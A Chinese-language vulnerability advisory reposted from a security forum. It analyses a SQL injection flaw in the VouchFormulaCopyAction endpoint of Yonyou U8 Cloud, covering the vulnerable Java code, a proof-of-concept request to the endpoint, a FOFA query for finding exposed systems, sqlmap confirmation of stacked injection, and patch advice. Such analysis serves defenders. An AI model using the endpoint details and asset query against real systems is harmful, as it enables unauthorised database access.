用友U8 Cloud系统VouchFormulaCopyAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
一、漏洞简介
用友U8 Cloud系统VouchFormulaCopyAction
方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
二、影响版本
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
三、漏洞原理分析
首先看漏洞位于VouchFormulaCopyAction
接口处,方法的完整路径为nc.ui.hbbb.innertrade.VouchFormulaCopyAction
,因为是Action方法,所以是按照用友的ActionServlet方法调用的方法漏洞
VouchFormulaCopyAction中的关键execute方法完整代码如下
public ActionForward execute(ActionForm actionForm) {
VouchQueryForm form = (VouchQueryForm)actionForm;
String[] strCopyUnitCodes = getListValues("selCopyUnitList");
String[] strMeasPKs = getListValues("selItemList");
String[] strCounterUnitPKs = getListValues("selUnitList");
VouchFormulaCondVO cond = new VouchFormulaCondVO();
cond.setSelfUnitCode(form.getSelfUnitPK());
cond.setItemCodes(strMeasPKs);
cond.setCounterUnitCodes(strCounterUnitPKs);
try {
VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond);
ArrayList<VouchFormulaVO> vForm = new ArrayList();
int i;
for (i = 0; i < formulas.length; i++) {
for (int j = 0; j < (formulas[i]).length; j++)
vForm.add(formulas[i][j]);
}
for (i = 0; i < strCopyUnitCodes.length; i++) {
if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) {
for (int j = 0; j < vForm.size(); j++) {
VouchFormulaVO formula = vForm.get(j);
formula.setSelfUnitCode(strCopyUnitCodes[i]);
}
VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0]));
}
}
} catch (Exception e) {
AppDebug.debug(e);
return (ActionForward)new ErrorForward(e.getMessage());
}
return (ActionForward)new CloseForward("window_close();");
}
这里是有三个传参的,分别是selCopyUnitList、selItemList、selUnitList
可以反向定位一下,这些传参进了哪些方法当中,可以看到VouchFormulaCondVO中保存了上面的传参,再作为cond传入了getVouchFormulasByCond
方法之中
那么去找这个方法,一通定位来到方法当中
这里面多个参数都有注入,所以我挑其中一个讲讲
StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?");
bufSQL.append(" and counterunit_code in (");
String[] strUnitPKs = cond.getCounterUnitCodes();
for (int i = 0; i < strUnitPKs.length; i++) {
bufSQL.append("'" + strUnitPKs[i] + "'");
if (i < strUnitPKs.length - 1) {
bufSQL.append(",");
} else {
bufSQL.append(")");
}
}
这里cond的counterUnitCodes
对应传参selUnitList
它用for循环将数组里面的字符串进行拼接,以and counterunit_code in (
开头,最后再以)
结尾闭合括号
因此很明显可以在数组里面传括号提前闭合,造成SQL注入漏洞
该漏洞的请求数据包如下
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
四、总结
用友U8 Cloud系统VouchFormulaCopyAction
方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
五、资产测绘
FOFA语法
app="用友-U8-Cloud"
六、漏洞复现
POC
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
selUnitList
参数存在注入,使用SQLMAP注入验证下,存在堆叠注入
七、修复建议
安装用友U8 Cloud最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的方法逻辑。
转自:https://forum.butian.net/article/792
阅读原文:原文链接
该文章在 2025/9/30 10:27:50 编辑过